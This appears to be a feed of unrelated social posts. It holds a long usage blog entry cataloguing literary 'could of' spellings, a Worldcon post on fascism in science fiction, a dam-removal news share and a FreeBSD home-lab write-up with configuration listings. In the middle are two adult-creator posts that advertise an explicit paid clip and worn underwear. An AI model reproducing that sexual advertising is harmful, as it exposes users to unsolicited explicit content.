”Cause I hope I ain’t outta line here, but I think he’d of been cool about you hearin’ it…’ (Garth Ennis and Steve Dillon, Preacher)
‘He was stupid an’ clumsy an’ kind of a weakling, an’ he wouldn’t of lasted a fuckin’ day over there if it hadn’t been for one thing’ (Garth Ennis and Steve Dillon, Preacher)
‘See, we’d of done Murphy there an’ then, we’d of had to do Van Patten as well — an’ I knew your Daddy didn’t really wanna do that.’ (Garth Ennis and Steve Dillon, Preacher)
The Dunns must of felt this when Tracy vanished. (Octavia E. Butler, Parable of the Sower)
‘She must of really gotten knocked out.’ (Jonathan Lethem, Girl in Landscape)
‘He’s not around now, or you’d of met him.’ (Jonathan Lethem, Girl in Landscape)
‘They could of just been losing us,’ said Coney. (Jonathan Lethem, Motherless Brooklyn)
‘Your parents must of been hippies,’ he’d tell me. (Jonathan Lethem, Motherless Brooklyn)
‘He might of been a little impatient for his date with Frank.’ (Jonathan Lethem, Motherless Brooklyn)
‘If it weren’t for Gilbert I would of told him to stick it—’ (Jonathan Lethem, Motherless Brooklyn)
‘Oh, I’d of straightened it out,’ Tony said. (Jonathan Lethem, Motherless Brooklyn)
‘Each one of them, he says it might of been you, it might of been two other guys.’ (Robert Anton Wilson, The Universe Next Door)
‘You must of been back on the reservation eating peyote again.’ (Robert Anton Wilson, The Universe Next Door)
‘And it wouldn’t of mattered to me whether you did or did not like women.’ (George Pelecanos, Drama City)
‘I wouldn’t of thought of such a thing in a million years.’ (George Pelecanos, The Big Blowdown)
‘If you hadn’t of stepped in the middle of everything—’ (George Pelecanos, The Big Blowdown)
It would of done no good gettin’ somebody else te scratch it for me because that was a sin as well. (Frances Molloy, No Mate for the Magpie)
‘Been calling all night. Four, five calls, must of been.’ (Lawrence Block, A Ticket to the Boneyard)
‘Six-thirty or so, you must of just got on your way to Maspeth, guy goes out back with a load of kitchen garbage.’ (Lawrence Block, A Dance at the Slaughterhouse)
‘Another minute and I would of made it, you rats.’ (Lawrence Block, No Score)
‘Now if you would of done this we wouldn’t have any trouble.’ (Lawrence Block, No Score)
‘Need a social security card,’ he said. ‘You must of had one, I guess.’ (Lawrence Block, Chip Harrison Scores Again)
‘Guess they must of been chafing you some on that bus ride.’ (Lawrence Block, Chip Harrison Scores Again)
‘You might not of noticed yesterday but he’s only got one hand.’ (Ron Rash, The Cove)
‘Would he of died?’ (Alison Bechdel, Fun Home: A Family Tragicomic)
‘Pete should of told me,’ he said. (Donald Westlake, Good Behavior)
‘Okay,’ Dortmunder said. ‘Could be worse. She could of been wearing her habit, right?’ (Donald Westlake, Good Behavior)
‘Wound up, it took him forty-eight years to serve a ten-year sentence that he should of got out in three.’ (Donald Westlake, Good Behavior)
‘She has on a pair of bikinis I couldn’t of got into when I was ten years old.’ (Elmore Leonard, Mr. Paradise)
‘We could’ve settled, the city pays out a few bucks, it wouldn’t of cost you a dime.’ (Elmore Leonard, Mr. Paradise)
‘You know what I sor?’ said the child patiently. ‘Well, the train must of stopped, see, and some little men with bundles on their backs got on.’ (Mavis Gallant, ‘Up North’, in The Omnibus of 20th Century Ghost Stories, edited by Robert Phillips)
‘You two might of settled down and had a nice baby or something.’ (John Kennedy Toole, A Confederacy of Dunces)
‘Maybe you should of looked around some more.’ (John Kennedy Toole, A Confederacy of Dunces)
‘He must of gone to the show.’ (John Kennedy Toole, A Confederacy of Dunces)
‘I shouldn’t of toog you id,’ Angelo breathed. ‘I got nerbous.’
‘It was all my fault,’ Mrs Reilly said, ‘for trying to protect that Ignatius. I should of let you lock him away, Angelo.’ (John Kennedy Toole, A Confederacy of Dunces)
‘I don’t think I’d of wanted to go down there even for the Grape-Nuts. But maybe if we’d’ve gone real fast . . .’ (Harlan Ellison, ‘Sensible City’, in The Dead that Walk, edited by Stephen Jones)
‘You could of killed someone!’ (Neil Gaiman, Death: The High Cost of Living)
‘There’s a lot of places round here you could of bin.’ (Neil Gaiman, Death: The High Cost of Living)
‘If she’d stuck around, I could of asked her advice. I bet she could of come up with somewhere to put you that no one would think of lookin’, not if you paid them ready money.’ (Neil Gaiman, Death: The High Cost of Living)
‘If you’d gotten into a fight with that swordarm of yours, there’d of been bodies all over’ (Kazuo Koike and Goseki Kojima, Lone Wolf and Cub, vol. 2: The Gateless Barrier, translated by Dana Lewis)
‘It ain’t right I wasn’t there because if I had of been there I would of known.’ (Flannery O’Connor, A Good Man is Hard to Find)’The other vics probably would have lived if Lewin hadn’t of made that play.’ (George Pelecanos, Shame the Devil)
‘I should of thought of that my own self.’ (George Pelecanos, Shame the Devil)
‘If you’d gone in right away, you would of got him, none of this would of happened. . . . I’d of got off! You think I’d of stood around that roadblock for seven hours?’ (Richard Stark, Slayground)
‘That guy talks pretty big, Cory. We should of called his bluff right there.’ (Richard Stark, Ask the Parrot)
‘Everything screws up, it just gets worse and worse, we should never of got into this, we’re fuckups, that’s all, we’re just fuckups.’ (Richard Stark, Comeback)
‘Might of slipped in and out, nobody the wiser, except we were already on the scene, account of Parmitt being gone.’ (Richard Stark, Flashfire)
‘Couldn’t you of – oh, he was ignorant in his speech – couldn’t you of prevented it?’ (Hilary Mantel, Beyond Black)
‘I should of thought to bring a sun lounger, from the garden centre,’ Mart said. (Hilary Mantel, Beyond Black)
‘He could of been,’ her mother said vaguely. (Hilary Mantel, Beyond Black)
When she provoked him and he was in a temper with her, he would say, count your blessings, girl, you fink I’m bad but you could of had MacArthur. You could have had Bob Fox, or Aitkenside, or Pikey Pete. You could have had my mate Keef Capstick. You could of had Nick, and then where’d you be? (Hilary Mantel, Beyond Black)
He shouldn’t of been near enough . . . (Donal Ryan, ‘Aisling’, in A Slanting of the Sun)
Stupid idea anyway I dont think he ever wud of really done it. (Paul Murray, The Bee Sting – this example is from a teenager’s text message)
But if she hadn’t of drank she would never have seen him at all and better that she was there she thought where she could at least try to keep some grip on him before he lost the run of himself completely (Paul Murray, The Bee Sting)
Lar thought about it They must of gone out on a job he said (Paul Murray, The Bee Sting)
I wonder what kind of life you might have had, if you hadn’t of been dragged back here. (Paul Murray, The Bee Sting)
I paid a man to write it he says He must of never sent it at all (Paul Murray, The Bee Sting)
I wish someone had of told me you croak into his shoulder (Paul Murray, The Bee Sting)
Lars frowns Choosing his words He didn’t think you should of married Dickie he says (Paul Murray, The Bee Sting)
U SHUD OF TOLD ME I CUD OF SHOWD U AROUD!!!! (Paul Murray, The Bee Sting, text message)
‘Hell, if I knew I was sitting on a gold mine, I’d of sold ’em a long time ago.’ (Jim Dodge, Not Fade Away)
‘And he couldn’t of loved me because he took away my kid, he’s off someplace where I can’t never see him.’ (James Baldwin, Another Country)
‘But I would of died for my kid, I wouldn’t never of let anything happen to him.’ (James Baldwin, Another Country)
‘I couldn’t of done nothing else,’ he cried, ‘what else could I of done? Where could I of gone with Esther, and me a preacher, too? And what could I of done with you?’ (James Baldwin, Go Tell It on the Mountain)
‘Must of had a heart attack or something!?’ (Jamie Hewlett and Alan Martin, Tank Girl One):
A curious example in Jim Nesbit’s novel Lethal Injection, where a character says “would’ve of”. My first thought was that it was a copy-editing or proofreading fix that stopped halfway: changing “would of” to “would’ve” and neglecting to delete the “of”. But a search online shows occasional analogous examples in unedited writing, and adjacent discussion on Language Log, so it may well be authentically dialectal:
The example below, from alt-manga historian Ryan Holmberg’s The Translator Without Talent, is from The Marvel Times, a pretend-newspaper about comics that he created on his twelfth birthday. So its must of is probably not deliberate and also completely forgivable:
Such phrases appear often in Cormac McCarthy’s novels. Here are some from Cities of the Plain, all used in dialogue:
You’d never of knowed it though.
I wouldn’t of wrote home for nothin.
Looks like they’d of learned to stay out of it.
Johnny if he hadnt of found that girl would of found somethin else.
And there was nothin any mortal man could of done to of stopped it.
And from Blood Meridian:
No, No, he said. I mean ye was lost to of come here.
It might of been a mule.
Somebody ought to of pickled it a long time ago.
Must of been a thousand indians in there all settin around.
He appears to of spoke for hisself.
I couldnt of learned it off ten dutchmen.
Him and the governor they sat up till breakfast and it was Paris this and London that in five languages, you’d of give something to of heard them.
Don’t you know he’d of took you with him? He’d of took you, boy.
Glanton spat. Ort to of shot that one too, he said.
Well, he said. I’d of thought any damn fool could saw the barrels off a shotgun.
That old boy you bought them off of might of said they was injins but that dont make it so.
The man didnt answer.
Them ears could of come off of cannibals . . .
You wouldnt of lived anyway, the man said.
And from All the Pretty Horses:
They might as well of, he said.
Otherwise I’d of been born in Alabama.
…it was a mistake not to of told you.
But if it hadnt of been for her I wouldnt of made it.
He might well could of
Might well could of is also a nice example of a double modal. The [modal]-of construction is used frequently throughout Chris Cleave’s remarkable novel Incendiary:
She was like that was Mena. Philosophical. I’d definitely of killed myself if it hadn’t of been for her.
If you could of looked in my eyes you’d of seen the same thing I shouldn’t wonder.
I wouldn’t of come near you I’d never of let you touch me you should be ashamed.
Most notably in this exchange between two people only one of whom uses it dialectally:
– He would of said something.
– Maybe he wouldn’t have.
– Wouldn’t you of?
A remarkable example in A Gate at the Stairs by Lorrie Moore uses it without a preceding modal, in the speech of a young child:
‘You got brown eyes,’ she said. ‘I of brown eyes.’
Searching the Corpus of Contemporary American English for the string would of [v*], where [v*] is a verb, produces the graph below. It shows that the of-form’s predominant setting is fiction, usually ‘would of been’, and it also shows up in transcription of actual speech, as in the academic and newspaper instances. You can click through the image to view examples, sources, and further information at COCA.
The magazine data are false positives (‘we’d have a better chance of achieving a breakthrough in quantum gravity than we would of figuring out how to reliably connect with teenagers’), but you get an idea of the construction’s low frequency and particular genre distribution.
Plotting could of [v*] usages over time, using the related Corpus of Historical American English, suggests the construction may have peaked. Or is that just wishful thinking? Again, you can click on this graph for details, or open it in another tab.
Of 1000 occurrences of could/would of in the Oxford English Corpus, about 850 are from ‘representations of direct speech (mostly from the Fiction domain, but also from interviews and courtroom transcripts)’. That leaves 150 genuine written instances of could/would of, compared with 4 million examples of standard could/would have. I can’t help picturing a global battalion of editors keeping it firmly at bay.
The of-form is not frequent in edited prose, but it appears quite often in casual writing and it has been around a while. Does that count for much? MWDEU says its prolonged use has ‘not made it respectable’, and recommends avoiding it – including in transcriptions of real speech, since ’ve serves the purpose equally well. I agree, and I think if someone explicitly says of, and stresses it, that might warrant a ‘[sic]’.
Regular readers know I like to make room for literary effect and poetic licence, but I have never warmed to this mistake. Every time I see it – be its use naive or intentional – I want to fix it. Authenticity of dialect and character are all well and good, but I think the main effect of the deliberate usage in edited prose is further uncertainty and error (not to mention irritation, in some quarters). What do you think?
Updates:
Years after writing this, I’ve softened considerably on the modal-of construction. This is partly because of exposure to its use by so many great writers, and also because it’s a good example of language change – a natural, essential characteristic of a living language. See my post on reconciling descriptivism with editing for more discussion.
I’ve come across many more examples in books, and have added them to the sets above and below. @desktopenglish on Twitter drew my attention to this BBC article that quotes a footballer saying he ‘Shouldn’t of reacted the way I did’.
What sounds to me like a good audio example comes from author Zadie Smith on the Adam Buxton Podcast. This link should cue the player automatically at 15:50, but if it doesn’t, that’s the time stamp. The relevant exchange is as follows, discussing Smith’s father:
Smith: He was very uptight about time, yeah.
Buxton: It rubbed off on you.
Smith: It must of, yeah.
Medievalist Lucy Allen found the line ‘For methowte I wold not for my life a sen it fallen’ in a 14thC religious text, The Shewings of Julian of Norwich. Translating it as ‘I thought I would not for my life of seen it fall’ [underlines mine], she writes: ‘it’s always fun when you notice something in a medieval text that is a dead ringer for one of the “modern” mistakes that horrify the pearl-clutchers’.
David Crystal adds further historical commentary in his book Making Sense: The Glamorous Story of English Grammar:
On 5 September 1819 the poet John Keats sends an apologetic letter to his publisher John Taylor, in which he writes:
Had I known of your illness I should not of written in such fierry phrase in my first Letter.
‘Should not of written’? From such a great poet? It must have been just a slip, because later on in the same letter he writes ‘You should not have delayed.’ What interests me is to find this confusion 200 years ago. It isn’t just a modern thing, as some critics say. That identity in pronunciation between the preposition of and the unstressed form of the auxiliary verb have has been around a long time.
Morph, a linguistics blog by the Surrey Morphology Group at the University of Surrey, has a great post on different aspects of the modal-of usage: ‘What’s the good of “would of”?’
Lots of examples in Anne Tyler’s If Morning Ever Comes, spoken by several different characters (of different ages, backgrounds, and ethnicities):
‘You mustn’t of been but twelve or so but I remembered.’
‘You shouldn’t of mentioned breakfast, boy,’ he said.
‘Course I think he could of made a better choice in wives, but then Sally’s right pretty and I reckon I can see his point in picking her.’
‘You know, when I was a boy we’d of been plumb through town by now.’
‘If we’d of known,’ she said, ‘I’d of cleaned up house a little.’
‘Folks tell me I take too good care of him, so it can’t of been that he got too cold. Though he is right much of a puddle-wader, that could’ve done it.’ [Note nearby use of could’ve.]
‘I don’t guess my letter would of made any change in him one way or the other.’
‘If I’d of married Jamie,” she said, “I would of had a different family.’
‘Well, if it hadn’t of been her, it’d been someone else.’
‘She mustn’t of seen us.’
Ross Macdonald also makes regular use of the construction:
‘If they knew they had a buyer, they might of stayed in business to accommodate you.’ (Ross Macdonald, The Blue Hammer)
‘I wish I could of died instead of him.’ (Ross Macdonald, The Blue Hammer)
‘The other man took them, he must of.’ (Ross Macdonald, The Galton Case)
‘He must of got away.’ (Ross Macdonald, The Galton Case)
‘He must of fell down on the knife and stabbed himself.’ (Ross Macdonald, The Galton Case)
‘He would of killed him too.’ (Ross Macdonald, The Galton Case)
‘When Culligan came marching out, armed up to the teeth, you could of knocked me over with a ‘dozer.’ (Ross Macdonald, The Galton Case)
‘Lucky for him I was out, or I’d of shown him what’s what.’ (Ross Macdonald, The Galton Case)
‘You were just a tiny baby, but that wouldn’t of stopped him.’ (Ross Macdonald, The Galton Case)
As does Elmore Leonard; these are from The Hot Kid:
Emmett Long kept looking at him. ‘You had a gun you’d of shot me, huh?’
‘I’d of shoved the ice cream cone up his goddamn nose.’
What Oris did, he got mad, changed the name of the company from Busy Bee Oil & Gas – a cartoon bumblebee in the trademark they’d of had one day – to NMD Oil & Gas, standing for No More Dusters, and worked a year as a driller to restore his capital.
‘The only one I told was Emmett,’ Carl said. ‘It had to of been Crystal told the papers.’
She had to wonder if she had been here would he of recognized her, and bet he would’ve.
‘I’d of arrested him he’s walking in the door,’ Lester said.
Franklin was shaking his head. ‘I’d of seen ’em.’
‘I told him he shouldn’t of left the key in it.’
‘She looked at him again with a faint smile. ‘I would never of suspected.’
‘The first remark out of his mouth, I’d of pulled and killed him where he stood.’
‘She’d of given me the choice of taking a chance with Teddy or being locked up.’
‘She wouldn’t of started breakfast if they weren’t all downstairs near ready to eat.’
‘Jack’s a talker,’ Carl said. ‘He’d of thought of a reason to go alone, pick up a bottle? And Tony’s polite, he would’ve said don’t steal the car, okay?’
‘No, he couldn’t of known that.’
‘Jack Belmont wouldn’t of left with bullets in his gun.’
The minute Jack wasn’t looking, like taking a leak or something, she’d of run out of the house to find a cop.
But Nancy knew who he was, so so the kidnapping wouldn’t of worked.
‘If I hadn’t decided to step back inside to answer the phone, I’d of missed one of the great opportunities of my career as a journalist . . .’

Richard Stark, already quoted above, has half a dozen examples in his first novel, The Hunter:
‘If Art wanted to see you, he’d of told you where to find him.’
Stegman blinked. ‘He must of believed me.’
‘His wife must of known it, but she never told me.’
‘Five minutes later,’ the owner told him, ‘you’d of been out of luck.’
‘…it must of meant something, that’s all.’
‘I wouldn’t of believed it.’
The spelling occurs often in Kent Haruf’s novel Plainsong:
He should of taken it last year.
She might of come down and gone back, Ike said. She might not of too.
She must not of stuck.
She must of went home, Mr. Guthrie.
You shouldn’t even of touched that.
Well, he might of went to Denver, Raymond said. Then he might of went back to the Rosebud in South Dakota.
I should of called during these months, I know.
You could of done something yourself too, you know, he said.
Something must of happened to her, Harold said. She must of got taken off or something.
I can’t think of anything we might of did.
You don’t even know where he might of took her for sure.
He might of landed her in Pueblo or Walsenburg.
We didn’t know what we might of done to cause you to want to leave here like that.
He better not of hurt her permanent, Raymond said.
And in Pete Dexter’s novel Train:
“They must of left the sprinklers on all night,” the fat man said after he got back in control of his deportment again.
“He must of got home somehow,” Train said.
“She all convulsed the whole time they going through the house; she keeps saying, ‘Oh, no, he couldn’t of did that….'”
Train began thinking more and more that the world might of decided to let him alone.
Now he thought about he, she might not of even noticed the table leg if he hadn’t dropped it and woke up the dog…
Train thought it must of reminded him of that feeling when he was hit by that car and rolled across the road.
Then, if it was the right officer, they might of just carted Mayflower out of there, just because she was pretty, and then took his ass out into the desert and left it.
“One of them must of got up here and took it,” he said.
It seemed like Mr. Cooper must of told him where he come from, or how else would he know?
Must of bought his clothes in the boy’s department.
Melrose might of been trying to say something too, and Train distinctly saw his jaw slide out from under his face.
It came to Train the Plural must of heard her before she even come out of the double-wide, that he must of known from how she was walking that she was mad.
“A blind man,” he said, “We should of sold tickets.”
Walter Tevis’s The Hustler, from multiple characters:
‘You should never of quit going to Sunday school.’
‘I already watched you lose – watched you lose to a man you should of beat.’
‘And if I hadn’t already paid for it I could of with the money I won in side bets.’
‘They couldn’t of helped but hear of me.’
‘I should of let that guy quit, Charlie, like you told me.’
#books #corpusLinguistics #couldOf #dialects #dialogue #etymology #eyeDialect #fiction #grammar #language #linguistics #literacy #modalVerbs #modals #phrases #reading #schwa #speech #speechErrors #spelling #transcription #typos #usage #verbs #writing

#books #corpuslinguistics #couldof #dialects #dialogue #etymology
Seattle Worldcon 2025 @[email protected] · 2025-04-18 · 14:55 UTC

We live in worrying times. Fascism is on the rise across Europe and America, according to the consensus of many commentators. In this post, I will highlight SF that has speculated on the rise and activities of fascism. In a later blog post, I’ll discuss science fiction that has thought about ways to resist.
Science fiction in the 1930s had its fair share of authoritarian dictators. Upton Sinclair’s It Can’t Happen Here is a famous warning novel that feels all too relevant. In Sinclair’s vision, a populist demagogue takes power on the promise to halt immigration and make America great once more. But there is a lesser-known standout work that tried to warn the world of what was to come. Published under the alias Murray Constantine, Swastika Night (1937) projects a future in which the Nazis and Japanese won and have divided the world. Jews have been eradicated, Christians live in reservations, women are reduced to a voiceless and a near-invisible drudge caste, and the world is ruled by Teutonic knights. One aspect of the book that jumps out is the degree to which women have collaborated in their own oppression—a scenario that looked ridiculous to me on first read, but isn’t as funny in a world of “trad wives.”
Immediately after the Second World War, in the UK, people were trying to envisage a better future. Others were pushing back. In Marghanita Laski’s Tory Heaven; or, Thunder on the Right (1948), the ultra-right wing launch a coup and re-create their “natural order.” On a desert island, five people have constructed a meritocracy. When they are rescued, protagonist James Leigh-Smith (think Jacob Rees-Mogg) prays, “God, let it be as it might have been. Alter the clock, fix the election, do it any way you please, but let me see the England of all decent Conservatives’ dreams.” He finds himself in a country in which everyone is assigned to their correct social class, with the aristocracy and gentry given fixed incomes and told what to think, what to enjoy, who to marry, etc. It doesn’t end well. James discovers that while he has been given a place, it is conditional on his absolute support. He isn’t, as he thought, one of the rulers.
After the war, there were a slew of alternative history novels warning that “it could have happened here,” of which my favorites are Ward Moore’s Bring the Jubilee (1953) about a Confederate America, or Philip K. Dick’s Man in the High Castle (1962), one of the works from the 1961-1962 era being celebrated in Seattle. However, these books are consolatory in that it didn’t happen here. I’m more interested in texts that say, “If this goes on, this is where we are heading.”
Recent examples of warning novels include Octavia Butler’s Parable (or Earthseed) series, where the second book tracks the rise of right-wing fundamentalist Christians. In the television series Babylon 5, the space station becomes one of the holdouts against a fascist earth, but the series neatly ignores that the station is not a democracy. It is at best a benevolent military meritocracy. Lucy Ferris’s The Misconceiver (1997) is told through the voice of an underground abortionist in a world in which the right has rolled back all freedoms for women, gay people, and non-whites. Most recent warning books are focused on race and sexual freedoms, but some take up fundamental and systemic issues that warn of rising facism. Ken MacLeod’s Corporation Wars series (2016-17) envisages bitter war around the fundamental ideological differences between fascism and humanism, a future divided between those who see only themselves as truly human and those who still feel humanity is (or should be) structured around collectivity and the acknowledgement of others’ realities.
Since the 2016 U.S. election, and the extreme behaviour of the (many) British prime ministers in the past decade, fascism has felt ever more threatening in the Anglosphere. Lorraine Wilson’s This Is Our Undoing (2021) is set in a fractured and fascist Europe and explores the interrelationship between the personal and the political. In Marisa Crane’s I Keep My Exoskeleton To Myself (2023) and Chain-Gang All-Stars (2023) by Nana Kwame Adjei-Brenyah, the carceral state has found new ways to abuse and exploit the underclass. In The Disinformation War (2023), SJ Groenwegen takes on the disinformation that has infected the landscape of social media. Claire North’s Notes from the Burning Age (2021) explores the rise of authoritarian nationalism in a post-collapse future after a time of rebuilding and prosperity.
We have been warned. This time round we know what’s coming.
With thanks to Facebook friends for suggestions.
Farah Mendlesohn
Farah Mendlesohn is a con-runner, a retired history professor, a charity manager, co-editor of the Hugo Award-Winning Cambridge Companion to Science Fiction, author of the Hugo-nominated The Pleasant Profession of Robert A. Heinlein, and is currently working on a short book about Joanna Russ’s The Female Man. Farah has chaired three Eastercons, has served in various capacities in Worldcons and Eastercons, and is part of the World Fantasy 2025 team. (Farah/they/she)

https://seattlein2025.org/2025/04/18/fantastic-fiction-fascism/
#Babylon5 #ClaireNorth #KenMacLeod #LorraineWilson #LucyFerris #MarghanitaLaski #MarisaCrane #MurrayConstantine #NanaKwameAdjeiBrendan #OctaviaButler #PhilipKDick #SJGroenwegen #UptonSinclair #WardMoon

#babylon5 #clairenorth #kenmacleod #lorrainewilson #lucyferris #marghanitalaski
Benjamin Carr, Ph.D. 👨🏻‍💻🧬 @[email protected] · 2024-09-23 · 10:04 UTC

The largest #dam removal project in #US history has been completed with the demolition of four #dams on the #KlamathRiver, marking a significant victory for tribal nations on the #Oregon-#California border who have long fought to restore the river to its natural state. However, as CNN's Rachel Ramirez and the BBC's Lucy Sherriff both highlight, the restoration of #salmon populations and surrounding ecosystems is "only just beginning."
https://www.cnn.com/2024/09/01/climate/klamath-dam-salmon/index.html

#dam #us #dams #klamathriver #oregon #california
LaceBaby @[email protected] · 2025-08-12 · 00:31 UTC

CW: NSFW, Sexual Activity

all you have to do is watch
~ Lucy LaRue in "Black Lace Panty Dirty Talk Ass JOI" (11 minutes) https://apclips.com/lacebaby/black-lace-panty-dirty-talk-ass-joi
✰ ✰ ✰
Everybody say “thank you” to the lovely fans who send me panties from my wishlist to show off for you! Ask about any you like for yourself- I’ll be happy to send a worn pair off!
#ass #booty #butt #lingerie #panties #lace #gif #porn #joi #femdom

#ass #booty #butt #lingerie #panties #lace
Lucy LaRue @[email protected] · 2026-01-16 · 01:58 UTC

CW: Eye Contact

Thank you to the person who sent me bungee cords off my wishlist! 🚐 https://throne.com/lucylarue
#vanlife #outdoors #braless #smile #AltText

#vanlife #outdoors #braless #smile #alttext

Antranig Vartanian @[email protected] · 2024-06-23 · 14:22 UTC

The FreeBSD-native-ish home lab and network

For many years my setup was pretty simple: A FreeBSD home server running on my old laptop. It runs everything I need to be present on the internet, an email server, a web server (like the one you’ve accessed right now to see this blog post) and a public chat server (XMPP/Jabber) so I can be in touch with friends.

For my home network, I had a basic Access Point and a basic Router.

Lately, my setup has become more… intense. I have IPv6 thanks to Hurricane Electric, the network is passed to my home network (which we’ll talk about in a bit), a home network with multiple VLANs, since friends who come home also need WiFi.

I decided to blog about the details, hoping it would help someone in the future.

I’ll start with the simplest one.

The Home Server

I’ve been running home servers for a long time. I believe that every person/family needs a home server. Forget about buying your kids iPads and Smartphones. Their first devices should be a real computer (sorry Apple, iOS devices are still just a toy) like a desktop/laptop and a home server. The home server doesn’t need to be on the public internet, but mine is, for variety of reasons. This blog being one of them.

I get a static IP address from my ISP, Ucom. After the management change that happened couple of years ago, Ucom has become a very typical ISP (think shitty), but they are the only ones that provide a static IP address, instead of setting it on your router, where you have to do port forwarding.

My home server, hostnamed pingvinashen (meaning the town of the penguins, named after the Armenian cartoon) run FreeBSD. Historically this machine has run Debian, Funtoo, Gentoo and finally FreeBSD.

Hardware wise, here’s what it is:

root@pingvinashen:~ # dmidecode -s system-product-nameLatitude E5470root@pingvinashen:~ # sysctl hw.modelhw.model: Intel(R) Core(TM) i7-6820HQ CPU @ 2.70GHzroot@pingvinashen:~ # sysctl hw.physmemhw.physmem: 17016950784root@pingvinashen:~ # zpool listNAME    SIZE  ALLOC   FREE  CKPOINT  EXPANDSZ   FRAG    CAP  DEDUP    HEALTH  ALTROOTzroot   420G   178G   242G        -         -    64%    42%  1.00x    ONLINE  -

While most homelabbers use hardware virtualization, I think that resources are a tight thing, and should be managed properly. Any company that markets itself as “green/eco-friendly” and uses hardware virtualization should do calculations using a pen and paper and prove if going native would save power/resources or not. (sometimes it doesn’t, usually it does)

I use containers, the old-school ones, Jails to be more specific.

I manage jails using Jailer, my own tool, that tries to stay out of your way when working with Jails.

Here are my current jails:

root@pingvinashen:~ # jailer listNAME        STATE    JID  HOSTNAME              IPv4               GWantranig    Active   1    antranig.bsd.am       192.168.10.42/24   192.168.10.1antranigv   Active   2    antranigv.bsd.am      192.168.10.52/24   192.168.10.1git         Stoppedhuginn0     Active   4    huginn0.bsd.am        192.168.10.34/24   192.168.10.1ifconfig    Active   5    ifconfig.bsd.am       192.168.10.33/24   192.168.10.1lucy        Active   6    lucy.vartanian.am     192.168.10.37/24   192.168.10.1mysql       Active   7    mysql.antranigv.am    192.168.10.50/24   192.168.10.1newsletter  Active   8    newsletter.bsd.am     192.168.10.65/24   192.168.10.1oragir      Active   9    oragir.am             192.168.10.30/24   192.168.10.1psql        Active   10   psql.pingvinashen.am  192.168.10.3/24    192.168.10.1rss         Active   11   rss.bsd.am            192.168.10.5/24    192.168.10.1sarian      Active   12   sarian.am             192.168.10.53/24   192.168.10.1syuneci     Active   13   syuneci.am            192.168.10.60/24   192.168.10.1znc         Active   14   znc.bsd.am            192.168.10.152/24  192.168.10.1

You already get a basic idea of how things are. Each of my blogs (Armenian and English) has its own Jail. Since I’m using WordPress, I need a database, so I have a MySQL jail (which ironically runs MariaDB) inside of it.

I also have a Git server, running gitea, which is down at the moment as I’m doing maintanence. The Git server (and many other services) requires PostgreSQL, hence the existence of a PostgreSQL jail. I run huginn for automation (RSS to Telegram, RSS to XMPP). My sister has her own blog, using WordPress, so that’s a Jail of its own. Same goes about my fiancée.

Other Jails are Newsletter using Listmonk, Sarian (the Armenian instance of lobste.rs) and a personal ZNC server.

As an avid RSS advocate, I also have a RSS Jail, which runs Miniflux. Many of my friends use this service.

Oragir is an instance of WriteFreely, as I advocate public blogging and ActivityPub. Our community uses that too.

The web server that forwards all this traffic from the public to the Jails is nginx. All it does is proxy_pass as needed. It runs on the host.

Other services that run on the host are DNS (BIND9), an email service running OpenSMTPd (which will be moved to a Jail soon), the chat service running prosody (which will be moved to a Jail soon) and finally, WireGuard, because I love VPNs.

Finally, there’s a IPv6-over-IPv4 tunnel that I use to obtain IPv6 thanks to Hurricane Electric.

Yes, I have a firewall, I use pf(4).

For the techies in the room, here’s what my rc.conf looks like.

# cat /etc/rc.conf# Defaultsclear_tmp_enable="YES"syslogd_flags="-ss"sendmail_enable="NONE"#local_unbound_enable="YES"sshd_enable="YES"moused_enable="YES"ntpd_enable="YES"# Set dumpdev to "AUTO" to enable crash dumps, "NO" to disabledumpdev="AUTO"zfs_enable="YES"hostname="pingvinashen.am"# Networkingdefaultrouter="37.157.221.1"gateway_enable="YES"ifconfig_em0="up"vlans_em0="37 1000" # 1000 -> WAN; 37 -> Home Routerifconfig_em0_1000="inet 37.157.221.130 netmask 255.255.255.0"ifconfig_em0_37="inet 192.168.255.2 netmask 255.255.255.0"static_routes="home"route_home="-net 172.16.100.0/24 -gateway 192.168.255.1"cloned_interfaces="bridge0 bridge6 bridge10"ifconfig_bridge10="inet 192.168.10.1 netmask 255.255.255.0"## IPv6ipv6_gateway_enable="YES"gif_interfaces="gif0"gifconfig_gif0="37.157.221.130 216.66.84.46"ifconfig_gif0="inet6 2001:470:1f14:ef::2 2001:470:1f14:ef::1 prefixlen 128"ipv6_defaultrouter="2001:470:1f14:ef::1"ifconfig_em0_37_ipv6="inet6 2001:470:7914:7065::2 prefixlen 64"ipv6_static_routes="home guest"ipv6_route_home="-net 2001:470:7914:6a76::/64 -gateway 2001:470:7914:7065::1"ipv6_route_guest="-net 2001:470:7914:6969::/64 -gateway 2001:470:7914:7065::1"ifconfig_bridge6_ipv6="inet6 2001:470:1f15:e4::1 prefixlen 64"ifconfig_bridge6_aliases="inet6 2001:470:1f15:e4::25 prefixlen 64 \inet6 2001:470:1f15:e4::80 prefixlen 64      \inet6 2001:470:1f15:e4::5222 prefixlen 64    \inet6 2001:470:1f15:e4:c0fe::53 prefixlen 64 \"# VPNwireguard_enable="YES"wireguard_interfaces="wg0"# Firewallpf_enable="YES"# Jailsjail_enable="YES"jailer_dir="zfs:zroot/jails"# DNSnamed_enable="YES"# Mailsmtpd_enable="YES"smtpd_config="/usr/local/etc/smtpd.conf"# XMPPprosody_enable="YES"turnserver_enable="YES"# Webnginx_enable="YES"tor_enable="YES"

The gif0 interface is a IPv6-over-IPv4 tunnel. I have static routes to my home network, so I don’t go to my server over the ISP every time. This also gives me the ability to get IPv6 in my home network that is routed via my home server.

As you have guessed from this config file, I do have VLANs setup. So let’s get into that.

The Home Network

First of all, here’s a very cheap diagram

I have the following VLANs setup on the switch.

VLAN IDPurpose1Switch Management1000pingvinashen (home server) WAN1001evn0 (home router) WAN37pingvinashen ↔ evn042Internal Management100Home LAN69Home Guest

Here are the active ports

PortVLANsPurpose24untagged: 1Switch management, connects to Port 222untagged: 1000pingvinashen WAN, from ISP21untagged: 1001Home WAN, from ISP20tagged: 1000, 37To pingvinashen, port em019untagged: 1001To home router, port igb118tagged: 42, 100, 69, 99To home router, port igb217untagged: 37To home router, port igb016tagged: 42, 100, 69To Lenovo T480s15untagged: 100To Raspberri Pi 42untagged: 99From Port 24, for switch management1untagged: 42; tagged: 100, 69; PoETo UAP AC Pro

The home router, hostnamed evn0 (named after the IATA code of Yerevan’s Zvartnots International Airport) runs FreeBSD as well, the hardware is the following

